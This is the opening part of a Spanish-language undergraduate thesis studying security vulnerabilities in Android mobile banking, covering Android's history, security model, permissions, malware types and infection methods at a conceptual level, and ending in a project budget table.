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1. TITULO

“ESTUDIO DE VULNERABILIDADES EN TRANSACCIONES
BANCARIAS PARA DISPOSITIVOS MOVILES CON SISTEMA
OPERATIVO ANDROID”



2. RESUMEN

El trabajo que lo presento a continuacion tiene la finalidad de cubrir una de las
necesidades de nuestra sociedad, que es siempre mantenerse informada sobre las
noticias o temas de interés publico, por lo que he considerado el tema de las
vulnerabilidades moviles en dispositivos con sistema operativo ANDROID, al momento
de realizar transacciones bancarias, que es un tema de interés actual, en el que la
mayoria de los usuarios estdn inmersos desde sus dispositivos inteligentes con sus
respectivos bancos y a su vez realizando diferentes tareas como ejecutar pagos, ver
noticias, jugar, etc. Por lo tanto, se debe conocer de las diferentes vulnerabilidades que
existen al momento de realizar transacciones bancarias desde los teléfonos inteligentes,
asi como las distintas técnicas que utilizan los delincuentes informéticos para robar

informacién a los usuarios.

Es por ello que mi proyecto de investigacion va enfocado a tratar de cubrir esa necesidad
que es la de dar a conocer al publico las diferentes vulnerabilidades que se dan al
momento de realizar transacciones bancarias con dispositivos moéviles ANDROID y la
técnicas que utilizan los ciber criminales para efectuar el hurto de informacion a los
usuarios y a su vez mostrar una comparativa entre las vulnerabilidades mas frecuentes
con las técnicas mas utilizadas, mostrandole al lector una lista tanto de vulnerabilidades
como técnicas y a su vez recomendar el buen uso de Teléfonos Inteligentes al

interactuar con su banco.

A mas de eso se espera que los usuarios moviles tengan el conocimiento necesario ante
las vulnerabilidades y técnicas que se dan, mientras se realizan tareas desde su
dispositivo movil en la red, y con ello tratar de contrarrestar las fechorias causadas por

delincuentes informaticos.

Por lo tanto, con mi proyecto estoy seguro de reconocer en gran medida sobre las
vulnerabilidades y técnicas mas utilizadas por piratas informaticos, dandolas a conocer
al publico en general y en especial a usuarios de terminales con Sistema Operativo
ANDROID.



2.1 SUMMARY

The research presented has the purpose of meeting the needs of our society which is
always being connected with the latest public news, thus this research is focused on the
mobile operative system vulnerabilities today online banking is a subject of interest, in
which the majority of users interacts with their bank through their Smart phones, users
are able to execute payments, watch the news, play games, etc. Hence, it is important
to know the different vulnerabilities that might exist when bank transactions are made
through mobile devices; since exists different techniques used by hacker thieves who

steal the users” information.

That is why this research project is focused on showing the users the diverse
vulnerabilities that may emerge when banking transactions are made through mobile
devices with ANDROID operating system and the techniques used by cyber thieves to
steal the users” information. Moreover, the aim of this Project is showing a comparative
between the most common vulnerabilities techniques used and at the same time,
demonstrate users a list of the vulnerabilities techniques, besides of providing
recommendations concerning with the correct use of Smart phones when users interact

with their banks.

Finally, it is expected that mobile users acquire the necessary knowledge regarding to
the vulnerabilities and techniques that may occur when users operate different online

tasks from their mobiles, thus it can counteract the misdeeds caused by cyber thieves.

Therefore, 1 am truly convinced that this project will cover most of the user’s needs, who

use their mobile devices with ANDROID operating system to make proper use of it.



3. INTRODUCCION

Los dispositivos méviles con sistema operativo ANDROID son los mas utilizados hoy en
dia por los usuarios ya que brindan muchas prestaciones, es ahi donde aparecen
muchos problemas a nivel de seguridad. Existen grandes falencias que se dan en el
sistema operativo ANDROID por falta de seguridad en las aplicaciones moviles, esto es

por varios factores que a lo lardo de esta investigacién se detallara.

En la presente investigacion se muestra un estudio sobre vulnerabilidades en terminales
moviles con sistema operativo ANDROID, que por lo general los usuarios comunes no
tienen conocimiento, permitiéndoles estar al tanto de lo fragiles que pueden ser al utilizar
un teléfono inteligente para realizar transacciones bancarias, entre otras tareas que
tengan que ver con pagos en linea, por lo que se muestra informacion muy relevante

sobre el uso de Smartphones que utilizan la plataforma ANDROID para su funcionalidad.

En esta época es normal la utilizaciébn de teléfonos inteligentes por las grandes
prestaciones que brindan, es decir la tecnologia se ha convertido en parte de nuestra
vida, es por ello que los piratas informaticos han puesto su atencién en este tipo de
dispositivos para hurtar datos bancarios de victimas ingenuas y conseguir
fraudulentamente ganancias. Para ello es muy importante que los usuarios moéviles
conozcan a que estan exponiéndose al utilizar de forma incorrecta un teléfono inteligente

con sistema operativo ANDROID.

Las transacciones bancarias méviles actualmente se realizan desde cualquier lugar de
la tierra a partir de dispositivos como PC y Ultimamente desde terminales moviles
(SMARTPHONE), por lo que existen distintas vulnerabilidades que se dan en estos
dispositivos méviles con sistema operativo ANDROID al momento de realizar tareas
como pagos por internet, consulta a la banca electrénica y mas, asi mismo hay
diferentes técnicas utilizadas por los piratas informaticos con el tnico fin de causar dafio
a los usuarios como es el hurto de informacion, suplantacion de identidad, entre otras,
para lo cual se ha realizado una lista con las técnicas mas utilizadas en la actualidad.
Por otra parte se ha hecho una comparacion entre las vulnerabilidades mas frecuentes
vs las técnicas més utilizadas por los delincuentes informaticos con el fin de mostrar al
lector cuales son y de alguna manera incentivar a proteger mas su informacion referente
a los dispositivos moviles inteligentes. Finalmente un caso préactico demostrando como
se puede hurtar informacion de usuarios ingenuos en este caso datos de la banca movil

Pichincha.



4. REVISION DE LITERATURA

4.1 El Porqué de ANDROID

El sistema operativo ANDROID es el mas utilizado a nivel global en la actualidad por
varias razones, como prestaciones y facilidad para interactuar con los usuarios,
ANDROID presenta el 85% para 2015 en ventas muy por delante de los demas sistemas
operativos conocidos como I0S y Windows Phone, entre otros.[1]

En la siguiente imagen se puede apreciar la ventaja que tiene ANDROID en ventas:

Android 186.8 2496
Apple iOS 31.2 35.2
Microsoft 8.9 8.0
Blackberry 5.7 1.9
Others 0.5 0.5

Android 80.2% 84.6%
Apple iOS 13.4% 11.9%
Microsoft 3.8% 2.7%
Blackberry 2.4% 0.6%
Others 0.2% 0.2%

Total Growth Year-over-Year % 48.9% 26.7%

Figura 1. Ventas Android

Lafigura 1. Muestra las ventas realizadas por ANDROID en 2013 y 2014 como se puede
apreciar con los acrénimos Q2 13 y Q2 “14 respectivamente, en el primer recuadro
estan todos los envios que se hicieron a nivel global de teléfonos inteligentes con la

plataforma ANDROID y en el segundo recuadro la cuota de mercado mundial para la



adquisicion de nuevos dispositivos inteligentes, mostrando en la figura el crecimiento

que existe a diario en las ventas de dispositivos moviles inteligentes.

Segun el diario Informador, mediante un estudio realizado con respecto a los ataques
gque se dan en plataformas mdviles, nos dice que el 74 por ciento de los ataques a estas
plataformas se da en el sistema operativo ANDROID, mientras que el 22 por ciento se
da en la plataforma Windows y el 4 por ciento restante se da en I0S[2].

Por otra parte se sefiala que los ataques a la plataforma ANDROID estan dirigidos en

un 50% a bancos y a inscripciones de mensajes Premium|[3].

De acuerdo con el universal[4], se registra un 74 por ciento de ataque a la plataforma
ANDROID superando significativamente a los sistemas operativos |I0S y Windows

Phone, como se refleja en la siguiente tabla:

Sistemas operativos méviles mas atacados por delincuentes informaticos
Fuentes Sistema Operativo Porcentaje Afo
Diario Informador y El ANDROID 74% 2016
Universal Windows 22% 2016
I0S 1% 2016

Es por la gran acogida que tiene el sistema operativo ANDROID en las diferentes

terminales que se llevan a cabo distintos ataques por parte de piratas informaticos.
4.2. ANDROID

4.2.1. Que es el Sistema operativo ANDROID

ANDROID es un sistema operativo moévil basado en Linux y java que ha sido liberado
bajo la licencia APACHE version 2. El sistema busca, nuevamente, un modelo
estandarizado de programaciéon que simplifique las labores de creacion de aplicaciones
moéviles y normalice las herramientas en el campo de la telefonia movil; al igual que
ocurriera con otros sistemas operativos, lo que se busca es que los programadores solo
tengan que desarrollar sus creaciones una sola vez para que esta sea compatible con

diferentes terminales [1] [2].

4.2.2. Historia



Si miramos la plataforma ANDROID, se dice que era un sistema operativo para
dispositivos méviles no muy conocida para sus inicios, hasta 2005 fue que GOOGLE lo
compré Andy Rubin, el creador de este sistema operativo paso a trabajar como el
director de la division mévil de Google has Octubre de 2014. EI 5 de Noviembre de 2007,
el gigante de Google anuncio la creacion de la OPEN HANDSET ALLIANCE, un
consorcio de 47 empresas de hardware, software y telecomunicaciones dedicadas al
fomento de estandares abiertos para dispositivos moviles, entre estas estaban HTC,
SAMSUNG, T-MOBILE, INTEL, TEXAS INSTRUMENTS, CHINA MOBILE, entre otros.
A su vez el 12 de noviembre se proporciond la primera version de ANDROID junto con
el ANDROID SOFTWARE DEVELOPMENT KIT (SDK) con la que los programadores
empezaron a crear sus aplicaciones para este sistema. La idea era que dichas empresas
fabricarian teléfonos ANDROID y promoverian una plataforma movil de cédigo libre.

La alianza ha rendido sus frutos a nivel comercial. Google promueve el software (en el
que su buscador, su correo, sus mapas Yy videos son parte central) y los fabricantes
compiten entre ellos tratando de disefiar la mejor plataforma para ejecutar el cédigo
ANDROID. Gracias a ello, por ejemplo, SAMSUNG es el lider en el mercado mundial de
teléfonos inteligentes [5]. El primer movil con el sistema operativo ANDROID fuel el HTC
DREAM y se puso a la venta en octubre de 2008. A partir de ese momento, tanto
ANDROID como los dispositivos que se han desarrollado alrededor de este ecosistema
han sido numerosos y con mucho éxito; ya no solo hablando de teléfonos inteligentes,
sino ampliando el abanico de productos con otros dispositivos como pueden ser
tabletas, ordenadores portatiles, notebooks, relojes de pulsera, GOOGLE TV,

auriculares, entre otros [6].
4.2.3. Versiones

Las versiones de este sistema operativo han ido apareciendo unas cuantas desde las
primeras como algo curioso, las versiones de ANDROID reciben, en inglés, el nombre
de diferentes postres o dulces[7]. En cada version, el postre o dulce elegido empieza
con una letra distinta conforme un orden alfabético [2]. A continuacion una tabla con

todas las versiones del sistema operativo androide mas popular en la actualidad:



Version Nombre Lanzamiento
1.0 Apple Pie(Tarta de manzana) 23/09/2008
1.1 Banana Bread(Pan de platano) 09/02/2009
15 Cupcake(Panque) 27/04/2009
1.6 Donut(Rosquilla) 15/09/2009
20-2.1 Eclair(Pepino) 26/10/2009
22-2.23 Froyo(Yogurt helado) 20/05/2010
2.3-2.3.7 Gingerbread(Pan de jengibre) 06/12/2010
3.0-3.26 Honeycomb(Panal de miel) 22/02/2011
4.0-4.04 Ice Cream Sandwich) Sandwich de helado) 18/10/2011
41-431 Jelly Bean(Gominola) 09/07/2012
4.4 — 4.4.4 — | Kitkat(KitKat) 31/10/2013
4.4W — 4.4W.2

50-5.1.1 Lollipop(Piruleta) 12/11/2014
6.0 -6.0.1 Marshmallow(Malvavisco) 05/10/2015
7.0-7.1.2 Nougat(Turrén) 22/08/2016
8.0 Android O En desarrollo

Por la alta tasa de fabricantes y dispositivos de ANDROID hemos de ser conscientes
que segun un reciente estudio en Agosto de 2015 contaba con 24093 dispositivos
diferentes fabricados por 1294 empresas distintas y que en el planeta hay méas de 1400
millones de usuarios ANDROID, ahi es donde aparece le problema de la fragmentacion,
es decir, aunque Google continua evolucionando este sistema operativo no llega a todos
los dispositivos desplegados debido en parte a limitaciones de hardware, por dejadez o
falta de prioridad por parte de los fabricantes. Ademas, la fragmentacién provoca que
los desarrolladores tengan mas complicada la tarea para que el software llegue al mayor
namero de dispositivos teniendo en cuenta que cada version de ANDROID tiene su
entorno de desarrollo que evoluciona y el hardware, ya sea procesador, memoria,

pantalla entre otros es diferente en cada terminal [2].

4.2.4. Arquitectura

Como sabemos ANDROID es una plataforma para dispositivos moviles que contiene
una pila de software donde se incluye unos sistemas operativos, MIDDLEWARE vy

aplicaciones béasicas para los diferentes usuarios [2][8].

A continuacion un gréfico con las capas que componen la arquitectura del sistema
operativo moévil ANDROID:
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Figura 2. Arquitectura ANDROID

4.2.5. Modelos de Seguridad

El sistema operativo ANDDROID abarca desde el despliegue hasta la ejecuciéon de la
aplicacion. La mayor parte de las medidas de seguridad entre el sistema y las
aplicaciones vienen dadas desde los estandares de Linux, cuyo kernel constituye el
nucleo del sistema operativo, por su parte se aplica el principio del minimo privilegio por
defecto lo que significa que cada aplicacién puede acceder Unicamente a sus propios
componentes, por lo cual estas deben definir y solicitar permiso para acceder a los
recursos y datos compartidos en los que estan interesados. ANDROID se encarga de
notificar al usuario sobre los permisos al momento de instalar una APP, pero no solicita

autorizacion al usuario al momento de la ejecucién de una aplicacion [9] [2].

4.2.5.1. Aislamiento de Aplicaciones (SANDBOX)

Si nos referimos a SANDBOX nos referimos basicamente a un contenedor para cada
aplicacion, cada vez que se instala una aplicacién en ANDROID se crea un usuario Linux
por lo que la aplicacion asociada tiene acceso solo a sus propios recursos. Estos
contenedores proporcionan un entorno seguro de ejecucioén y por defecto no tiene
permiso para realizar ninguna operacién que pueda impactar negativamente en la
ejecucion de otras aplicaciones o del mismo sistema. La Unica forma de saltar estas
restricciones impuestas por el sistema operativo ANDROID es mediante la declaracion



explicita de un permiso que autorice llevar a cabo determinada accién prohibida por

defecto [2].

4.2.5.2. Permisos

Cada aplicacién en ANDROID se ejecuta de dentro de un proceso separado ademas

cada uno de estos procesos tiene una ID Unica de usuario, si una aplicacién desea

acceder a recursos o datos compartidos debe utilizar los permisos declarados, caso

contrario si una aplicacion intenta hacer uso de un permiso no declarado se creara un

excepcion de permiso por lo que la aplicacion se detendra [2]. En total hay 136 permisos

diferentes por esta razén para tratar de simplificar la gestion delos mismos tanto para

los desarrolladores como la comprensién de los usuarios, el gigante GOOGLE cre6 en

junio del 2014 estos permisos de acurdo a la siguiente tabla [2][10].

Nombre Permisos Descripcion

Calendario Se utiliza para los permisos de ejecucion relacionados
con el calendario del usuario.

Céamara Se utiliza para los permisos que estan asociados con el
acceso a la camara o la captura de imagenes o videos
desde el dispositivo.

Contactos Se utiliza para los permisos de ejecucion relacionados
con los contactos de usuario y perfil.

Localizacion Se utiliza para los permisos que permiten el acceso a la
ubicacién del dispositivo.

Micréfono Se utilizan para permisos que estan asociados con el
audio del microfono del teléfono.

Teléfono Se utilizan para los permisos que estan asociadas a las
funciones del teléfono.

Sensores Se utiliza para los permisos que asocian las funciones
de sensores, por ejemplo el lector de huellas dactilares,
monitor de frecuencia cardiaca etc.

Mensajes Se utiliza para los permisos de ejecucion relacionados
con los mensajes SMS de usuario.

Almacenamiento Se utiliza para los permisos de ejecucion relacionados
con el almacenamiento externo compartido.
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4.2.5.3. Procedencia de Aplicaciones

Las aplicaciones ANDROID deben estar firmadas digitalmente para que sean
consideradas vdlidas y pueda ser distribuidas a través de PLAY STORE vy
posteriormente poder ser instaladas en los dispositivos. Esta firma se realiza a través
de un certificado cuya clave privada sera la del desarrollador de dicha aplicacién, el
sistema operativo no realiza ninguna verificacion adicional sobre la seguridad de la
aplicacion o la firma digital salvo comprobar la fecha de expiracion del certificado
asociado de la firma al momento de la instalacion permitiéndose certificados auto
firmados y no generados ni validados por ninguna autoridad certificadora; mediante esta
firma Unicamente se vincula la aplicacién a su desarrollador asegurando su integridad

frente a modificaciones [2][11].

4.2.5.4. Verificacién de Aplicaciones

Google cuenta con BOUNCER, este lleva a cabo un proceso de escaneo o verificacion
de seguridad automatico sobre las aplicaciones que son publicadas por los
desarrolladores en la tienda oficial de ANDROID en busca de malware; lo que hace este
software denominado GOOGLE BOUNCER es comparar cada APP con otras muestras
de software malicioso conocidas y también ejecuta las APPS en un entorno virtual,
simulando su ejecucién en un dispositivo moévil ANDROID, con el objetivo de analizar el
comportamiento antes de ser publicada oficialmente asi como intentando verificar
comportamientos maliciosos 0 andmalos asociados al malware, ademas este software
analiza las aplicaciones nuevas, a su vez desde la versién 4.2 el propio sistema dispone
de capacidades para escanear aplicaciones durante la instalacion cuyo fin es identificar
y detectar malware, en caso de identificarse una aplicacion dafiina ANDROID puede
recomendar al usuario desinstalar la aplicacién incluso puede llegar a eliminarla de

forma remota [2][12].

4.2.5.5. Politicas para desarrolladores de PLAY STORE

Google ha endurecido su politica para desarrolladores entre las que podemos se

menciona las mas importantes [2]:

» Promocion de Aplicaciones: Una aplicacion publicada en la tienda de
ANDROID no podra participar en las siguientes actividades ni beneficiarse de
ellas:

+ Promocion a través de publicidad engafiosa.
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+ Promocion o instalacion de sistemas que provoquen un direccionamiento
a PLAY STORE o descargas de aplicaciones.

+ Promocion no solicitada a través de mensajes SMS.

» Contenido sexual explicito: Estan prohibidas las aplicaciones que promuevan
la pornografia o incluyan material pornogréfico. También Google mantendra una
politica de tolerancia cero con las imagenes de abuso sexual infantil [13].

» Aplicaciones peligrosas:

+ No se permitird la transmision ni la inclusién de enlaces de virus,
gusanos, defectos, troyanos o software malicioso.

+ Se prohibe las aplicaciones que recopilen informaciéon sin el
consentimiento del usuario por ejemplo software espia, o que indigue la
ubicacioén del usuario.

+ Una aplicacién descargada de PLAY STORE no puede modificar,
sustituir o actualizar el cédigo binario de su propia APK mediante ningln
método distinto al mecanismo de actualizacion de la tienda oficial.

» Interferencia con el Sistema
Las aplicaciones y su anuncio no deben afiadir ni modificar marcadores ni

opciones de configuracion del navegador ni afadir accesos directos en la
pantalla de inicio o iconos en el dispositivo como servicio a terceros o con fines
de publicidad, tampoco se permite que se muestren anuncios mediante las
notificaciones del propio sistema ni animar, incentivar o engafar a los usuarios

a gque eliminen o inhabiliten aplicaciones de terceros [2][14].

4.2.5.6. Cifrado de Datos

A partir de la version 3.0 orientada a tabletas el sistema operativo ANDROID es capaz
de cifrar los datos almacenados en la memoria interna del dispositivo moévil de forma
nativa. Ademas también se pueden cifrar los datos de la tarjeta de almacenamiento

externa si estos la tuvieran [2].
4.2.5.7. Comunicaciones Seguras

Con soporte para SSL v 3.0 y hasta TLS v 1.2 al acceder a internet mediante HTTPS,
en teléfono inteligente intentara verificar el certificado asociado a su cadena de
confianza hasta la autoridad certificadora raiz reconocida. Al no ser reconocido el
certificado, se generara un mensaje de advertencia indicando el motivo del mismo. En
la version 4.0 de ANDROID se soporta la utilizacion de mecanismos de autenticacion

web basados en certificados digitales cliente a través del navegador web existente por
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defecto, también es posible utilizar estos certificados para las conexiones WIFI O VPN.

[2][15].

4.2.6. Aplicaciones en Android

Las aplicaciones en el sistema operativo ANDROID se desarrollan principalmente en

java pero no corren en java ME sino en DALVIK donde los codigos fuente se compilan

a ficheros de bytecode .dex luego los archivos .dex, el AndroidManifest.xml, todos los

recursos, certificados y las librerias propias de la aplicacion son empaquetados en un

archivo ZIP con la extension .apk (Android Application package). Todas las aplicaciones

haran uso de las diferentes API’'s proporcionadas por ANDROID como se explicé

anteriormente de forma que los componentes encargados de realizar cada tarea puedan

ser manipulados sin ningan problema. Por su parte los archivos .APK son los que nos

permiten instalar las aplicaciones en los terminales y estan formados por los siguientes

tipos de archivos [2]:

>

AndroidManifest.xml: este archivo se encuentra ubicado en la raiz de la
aplicacion, es la definicion de todas las caracteristicas que tendra la aplicacion
al ejecutarse en un dispositivo mévil. Es decir, contiene los permisos, las
escuchas, receptores, metadatos, version, las versiones previas soportadas etc.
Classes.dex: es el fichero compilado preparado para ejecutarse en la maquina
virtual DALVIK.

Resources: aqui se ubican todos los archivos externos que usamos para
construir el proyecto por ejemplo iconos, audio, archivos planos de texto, los
archivos .xml de disefio, etc.

Librerias aplicacién: el archivo .apk también contienen aquellas librerias de las
cuales depende la aplicacion.

Carpeta META-INF: aqui se guardan los archivos que corresponden a las firmas
digitales de la aplicacion, aqui se puede indicar quien es el creador y duefio de
la aplicacién, también debe contener el ID del creador o desarrollador para ser

reconocido y autenticado en procesos de comercializacion.

Al momento de ejecutar una aplicacién esta se asocia a un proceso Unico que

proporciona el entorno de ejecucion de los componentes, de los cuales uno es el

componente inicial del programa [2].
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4.2.7. El Malware en ANDROID

Esta plataforma se ha vuelo tan famosa que a la vez esta muy atraida para los piratas
informaticos y a su vez llegar a una gran cantidad de victimas esto lo corrobora

diferentes compafiias como las siguientes [2][16]:

» F-Secure: Esta empresa confirma que ANDROID es la plataforma donde mas
malware se desarrolld, por ejemplo en los 9 primeros meses del 2013 se detecto
633 nuevas familias de malware de las cuales 610 fueron creadas para
ANDROID.

» Fortinet: En 2013 casi el 100% del malware fue dirigido hacia la plataforma
ANDROID.

» Juniper: En 2011 el malware para ANDROID representaba el 46,7% del total,
cifra que para 2013 de duplico.

» Symantec: En 2014 se descubri6 48 nuevas amenazas para dispositivos moviles

de las cuales 45 estaban desarrolladas para ANDROID.

Se dice que para los préximos afios se doblara el nimero de amenazas para dispositivos
méviles con sistema operativo ANDROID, los datos comprometidos se usaran para otros

atagues o bien para su venta en el mercado negro [2][16].

4.2.7.1. Conceptos y Definiciones

» Malware: Se refiere a cualquier programa informatico disefiado para dafiar
computadoras, redes o informacion, en términos mas claros se puede decir que
el malware es cualquier pedazo de cédigo afiadido, cambiado o borrado de un
sistema software para causar intencionalmente al sistema. En la actualidad se
utiliza este término para hacer referencia a amenazas ya que anteriormente se
conocia comunmente como virus informatico; teniendo en cuenta que malware
se refiere a cualquier tipo de software dafiino malintencionado, vamos a definir
diversos tipos de malware [2][17]:

+ Virus: es un programa que se replica infectando a otro programa, un
sector de arranque o particion. Normalmente afiade una copia de si
mismo a los ficheros de la victima.

+ Gusano: similares a los virus en lo que se replican, se diferencian de los
virus en que no necesitan afiadirse a un programa existente, por lo que
son un programa malicioso que utiliza la red para enviar copias de si

mismo a otros sistemas denominandose gusano, al contrario de los virus,

14



los gusanos no necesitan que su portador les lleve a otro sistema ya que
ellos mismo se encargan de propagarse a través de la Red.

Caballo de Troya: conocidos como los troyanos son un tipo de software
no auto replicable, estos se ocultan dentro de programas que pueden
parecer utiles o inofensivos para el usuario, los troyanos pueden ser tanto
programas legitimos corruptos que ejecutan codigo malicioso al ponerse
en funcionamiento como programas que ejecutan codigo directamente
enmascarados como otra cosa para conseguir el descuido del usuario.
Spyware: es un tipo de software que envia informacién de los usuarios
infectados sin el previo consentimiento del mismo.

Puerta Trasera: es un programa informatico disefiado para violentar las
politicas de seguridad con el propésito de permitir a entidades exteriores
tener controles sobre una maquina o alguna red remotamente. Las
puertas traseras pueden ser programas Unicos o alojarse dentro de
versiones corruptas de programas benignos, estas puertas habilitan un
método para acceder a un sistema proporcionando una conexién remota
a hackers o a otro maleare.

Rootkits: Son ataques adulterados que modifican ficheros o librerias del
sistema operativo, la instalacion puede realizarse de forma automética o
a su vez el atacante podria instalarlo si ha obtenido acceso root; esto
permite controlar el equipo falseando las llamadas al sistema, hay dos
tipos de rootkits a modo kernel y a modo usuario.

Bomba Ldgica: Es un malware cuyo cuerpo se activa en un momento
concreto de tiempo o cuando ciertas condiciones se satisfacen en otras
palabras los troyanos que se activan en ciertas fechas se denominan
bombas de tiempo.

Bot: Es un programa, permite a un atacante tomar el control del equipo
infectado controlando el sistema de la victima en grandes proporciones,
las maquinas infectadas estan a la espera de recibir 6rdenes y formar un
botnet o red de bot controladas por el atacante.

Phishing: se trata del uso de ingenieria social o malware, con el
proposito de capturar informacion importante para la victima de forma no
autorizada, suplantando la informacion del legitimo duefio.

Rooting: Casi no es considerado un tipo de malware ya que un mismo

usuario puede obtener acceso total sobre su movil y actualizarlo a
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versiones superiores soportadas por la terminal o a su vez ponerlo en

alguna version anterior; del otro lado GOOGLE considera como malware.

4.2.7.2. Fines del Malware
Se tiene los siguientes fines [2]:

» Control Remoto: para realizar esta accion previamente los Smartphone deben
convertirse en bots para ser controlados remotamente, este control se da usando
trafico web basado en HTTP para recibir los comandos del servidor de C&C; por
otra parte para dificultar la localizacion del atacante se filtran las URLs del
servidor remoto de C&C asi como la comunicacion con él.

» Generar gastos monetarios: consiste en suscribir al usuario infectado a los
servicios SMS Premium, hay que tener en cuenta que en ANDROID hay un
permiso llamado sendTextMessege que permite enviar mensajes en segundo
plano sin conocimiento de la victima.

» Robo de informacion personal: hay un sin ndmero de informacién que el
atacante puede estar queriendo recabar como cuentas bancarias, contrasefias
entre otras.

» Pago por rescate de informacién (Ransomware): consiste en cifrar archivos
del sistema infectado y pedir un rescate econémico a cambio de quitar esta

restriccion, este Ransomware se transmite por medio de troyanos o gusanos.

4.2.8. Formas de Infeccién

En lo referente a ingenieria social hay tres tipos de técnicas para la instalacién de
malware, en este apartado hay que tener en cuenta que estas técnicas pueden ser

atraidas hacia los usuarios para su descarga [2][18].

» Re-empaquetado: los delincuentes informaticos descargan aplicaciones
oficiales, las desmantelan, es decir le cargan cédigo dafiino para posteriormente
subirla de nuevo a la tienda oficial, los usuarios seran vulnerables al descargar
la aplicacion.

» Instalar al actualizar: muy parecida a la técnica anterior pero con dos variantes
la primera es que re-ensamblan la aplicacién una vez descargada por el usuario
y al momento de la ejecucion se da la segunda variante que consiste en decirle
al usuario que hay una nueva versién haciéndolo caer al usuario y descargando

la version dariina.
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» Descarga directa: consiste en ofrecer al usuario aplicaciones que ayudaran al
rendimiento de su teléfono inteligente como ahorrar bateria; re-dirigiéndolo hacia
una tienda falsa de ANDROID donde descargara la aplicacién que obviamente

no haréa lo que decia hacer.

4.2.9. Herramientas de Prevencion

Los usuarios nos preguntamos si realmente es necesario tener una herramienta que
cuiden la informacién de nuestro Smartphone debido a que hay diferentes opiniones
sobre aquellas, a continuacion veremos como trabajan las herramientas gratuitas y de
pago [2]. Hoy en dia las empresas que desarrollan antivirus para la plataforma
ANDROID son muy amplias tanto gratuitas como de pago, entonces nos damos cuenta
que al haber tantas empresas desarrollando antivirus para ANDROID, es porque se
necesita de verdad de este tipo de herramientas ademas, el jefe de seguridad de
ANDROID ha mencionado que no hay beneficios al usar estos antivirus porque no sirven
para nada debido a las seguridades que GOOGLE implementa en su plataforma, lo que
si recomiendan es tener actualizado siempre el sistema operativo y finalmente no
rootear el dispositivo porque ahi si quedaria expuesto. Hay que saber que los antivirus
consumen memoria, CPU del sistema operativo lo que claramente significa perdida de
rendimiento sabiendo que no todos los usuarios tienen un dispositivo de Ultima
generacién también el jefe de seguridad de la plataforma menciona que se exagera
con el riesgo de seguridad ANDROID [2][1].

4.3. Teléfonos Inteligentes (SMARTPHONES)

Un teléfono inteligente es un dispositivo personal y versétil que siempre esta cerca de
su usuario y ofrece diversas aplicaciones, la toma de un flujo continuo de informatica
acerca de la operacion del usuario, permite que diversos tipos de aplicaciones

personalizadas incluyendo la de interfaz sea amigable en todo momento [19].

4.3.1. Historia

Los smartphones o teléfonos inteligentes nacieron a finales de los afios noventa,
combinan las funciones de un teléfono celular tradicional con otras caracteristicas, como
la posibilidad de instalar en el dispositivo un sistema operativo completo, con
aplicaciones para realizar diversas tareas y trabajar con grandes cantidades de datos,
enviar correos electrénicos, conectarse a Internet, tomar fotos, comunicarse a través de

wifi y Bluetooth, etc. Por tanto, tienen aplicaciones similares a las de un computador
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portatil 0 una agenda electrénica, a las que se suman las caracteristicas propias de los

teléfonos celulares [20].

Empresas como Motorola, Nokia, Apple, LG, Samsung, HTC, Sony Ericsson, Research
In Motion (RIM), entre otras, hacen desarrollos permanentes de modelos de
smartphones con diferentes aplicaciones de negocio e Intranet para empresas, y en
general, ofrecen al publico servicios Utiles tanto para el trabajo como para el uso
personal [4].

4.3.2. Caracteristicas

Los teléfonos inteligentes hoy por hoy cuentan con caracteristicas muy similares a las
de las PCs normales incluso algunos con mejores caracteristicas con pantallas de Ultima
generacién asi como procesadores, baterias de larga duracion de mucho amperaje, lo

que hace que estos sean muy codiciados por el usuario comuan [21].
4.3.3. Incidencia en Usuarios

Por las grandes prestaciones los usuarios méviles cada dia crecen en cifras, ya que los
teléfonos inteligentes han cambiado de cierta manera la vida de las personas en todo
sentido, los usuarios pueden navegar en cualquier parte del mundo desde un
Smartphone que posea acceso a internet y a su vez van dejando de utilizar el

computador convencional [22].

4.3.4. Seguridades

Para garantizar el correcto funcionamiento del dispositivo, es esencial estar bien
informado sobre las ventajas y desventajas respecto de las prestaciones que ofrece el
teléfono. También hay que considerar que al mismo tiempo que nos mantiene
comunicados, nos expone a peligros cuando éste es usado o intervenido sin nuestro
permiso. Las conversaciones via telefénica o por mensajes de texto pueden contener
informacién confidencial y sensitiva, la cual podria ser escuchada o leida por otros a
nivel global, cuando el movil se encuentra conectado al internet. Por ello es importante
llevar a cabo algunas medidas de seguridad para proteger el dispositivo y la informacion
contenida en él como el buen uso del teléfono inteligente, es decir seguir reglas para no

ser victimas de vulnerabilidades [23].
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4.4. Transacciones Bancarias

El sector bancario es una de las industrias de mas rapido crecimiento ofrece una amplia
variedad de servicios financieros a sus clientes de varias maneras, incluyendo E-

Banking, Mobile, centros de cajeros automéaticos y la banca [24].
4.4.1. Banca Movil

La rapida introduccién de los teléfonos inteligentes en los paises en desarrollo ha
producido que el nimero de usuarios exceda el nimero de usuarios con cuentas
bancarias. Los bancos con el pasar del tiempo han ido implementando sistemas maviles
para dispositivos inteligentes, es por ello que en la actualidad muchos bancos en el
mundo ya cuentan con banca mévil para permitir a sus usuarios realizar transacciones
desde la comodidad de los hogares y desde cualquier lugar que haya conexion a internet
por medio de su Smartphone [25].

4.4.2. Beneficios

Hay muchos beneficios que se pueden dar, imaginémonos estar atrapados en un atasco
de tréfico, incapaces de alcanzar nuestro banco y tener detalles de las ultimas
transacciones que se hicieron; en realidad el cliente ahora no necesita preocuparse ya
que ahora a través de la banca movil se pueden llevar a cabo tareas como comprar por
medio de sus dispositivos inteligentes ya que por medio de estos se puede acceder
facilmente a los bancos esto desde cualquier parte del planeta siempre y cuando

teniendo acceso a internet [6].

5. MATERIALES Y METODOS

Durante el desarrollo del trabajo de titulacién se utiliz6 diferentes técnicas, métodos,
herramientas y procedimientos, para describir, analizar y valorar criticamente el
desarrollo del proyecto, y asi dar una alternativa de solucion a la problematica

identificada.

5.1. Materiales

Para la elaboracion del trabajo de titulacién se han establecido los diferentes recursos
a utilizar, ademas de los costos econémicos que representan cada uno de estos en el

proyecto:
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5.1.1. Recursos Humanos

La tabla siguiente muestra el talento humano que va a estar inmerso en el desarrollo del

Trabajo de Titulacion:

Tabla 4. Recursos humanos

Descripcién NUmero de Horas Valor ($) Valor Total ($)

Investigador 400 8.00 3200.00

Tutor 80 30.00 2400.00
Subtotal($) 5600.00

5.1.2. Recursos Técnicos

La siguiente contiene informacién de los recursos técnicos o tecnholdgicos que seran

utilizados en el proyecto:

Tabla 5. Recursos técnicos

Descripcién | Cantidad | V. Unitario ($) | Valor Total ($)
Hardware
Computador 1 1000.00 1000.00
Impresora 1 90.00 90.00
Pendrive (8gb) 1 8.00 8.00
Teléfono 2 350 700
